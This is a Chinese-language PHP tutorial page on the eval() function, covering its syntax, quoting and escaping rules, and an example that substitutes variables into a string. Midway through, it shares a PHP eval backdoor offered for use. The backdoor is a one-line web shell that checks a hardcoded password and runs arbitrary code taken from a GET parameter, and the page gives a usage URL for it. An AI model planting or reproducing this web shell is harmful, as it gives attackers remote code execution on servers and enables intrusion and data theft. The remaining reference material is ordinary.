PHP eval函數(shù)使用介紹
代碼:
eval("echo'hello world';");
上邊代碼等同于下邊的代碼:
echo"hello world";
在瀏覽器中都輸出:hello world
運用eval()要注意幾點:
1.eval函數(shù)的參數(shù)的字符串末尾一定要有分號,在最后還要另加一個分號(這個分號是php限制)
2.注意單引號,雙引號和反斜杠的運用。如果參數(shù)中帶有變量時,并且變量有賦值操作的話,變量前的$符號錢一定要有\(zhòng)來轉義。如果沒有賦值操作可以不需要。
代碼:
$a=100; eval("echo$a;");
因為沒有賦值操作,所以可以不用\來轉義$.等同于以下代碼:
$a=100; eval("echo\$a;")
3.注意在命令式字符串(包括分號)兩邊必須要有雙引號或者根據(jù)需要用單引號。否則報錯。
命令式字符串是指:字符串中包括echo、print之類的命令的時候。
如果參數(shù)只有一個變量則可以不用。例如:
$func =<<<FUNC function test(){ echo "test eval function"; } FUNC; eval($func); test();
分享個php eval后門程序
要求必須支持eval函數(shù)
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();
<?php $passwd="admin";if($_GET['pwd']!=$passwd)exit; if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);} ?>
PHP eval() 函數(shù)介紹
定義和用法
eval() 函數(shù)把字符串按照 PHP 代碼來計算。
該字符串必須是合法的 PHP 代碼,且必須以分號結尾。
如果沒有在代碼字符串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數(shù)返回 false。
語法
eval(phpcode)
參數(shù) | 描述 |
---|---|
phpcode | 必需。規(guī)定要計算的 PHP 代碼。 |
提示和注釋
注釋:返回語句會立即終止對字符串的計算。
注釋:該函數(shù)對于在數(shù)據(jù)庫文本字段中供日后計算而進行的代碼存儲很有用。
例子
<?php $string = "beautiful"; $time = "winter"; $str = 'This is a $string $time morning!'; echo $str. "<br />"; eval("\$str = \"$str\";"); echo $str; ?>
輸出:
This is a $string $time morning!
This is a beautiful winter morning!
相關文章
PHP實現(xiàn)二維數(shù)組按照指定的字段進行排序算法示例
這篇文章主要介紹了PHP實現(xiàn)二維數(shù)組按照指定的字段進行排序算法,涉及php針對數(shù)組的遍歷、排序等相關操作技巧,需要的朋友可以參考下2019-04-04PHP實現(xiàn)數(shù)字補零功能的2個函數(shù)介紹
這篇文章主要介紹了PHP實現(xiàn)數(shù)字補零功能的2個函數(shù)介紹,需要的朋友可以參考下2014-05-05使用php+Ajax實現(xiàn)唯一校驗實現(xiàn)代碼[簡單應用]
使用php+Ajax實現(xiàn)唯一校驗實現(xiàn)代碼[簡單應用],前臺用ajax后臺用php,需要的朋友可以參考下。2011-11-11php中$_POST與php://input的區(qū)別實例分析
這篇文章主要介紹了php中$_POST與php://input的區(qū)別,實例分析了$_POST與php://input的功能、使用技巧與用法區(qū)別,需要的朋友可以參考下2015-01-01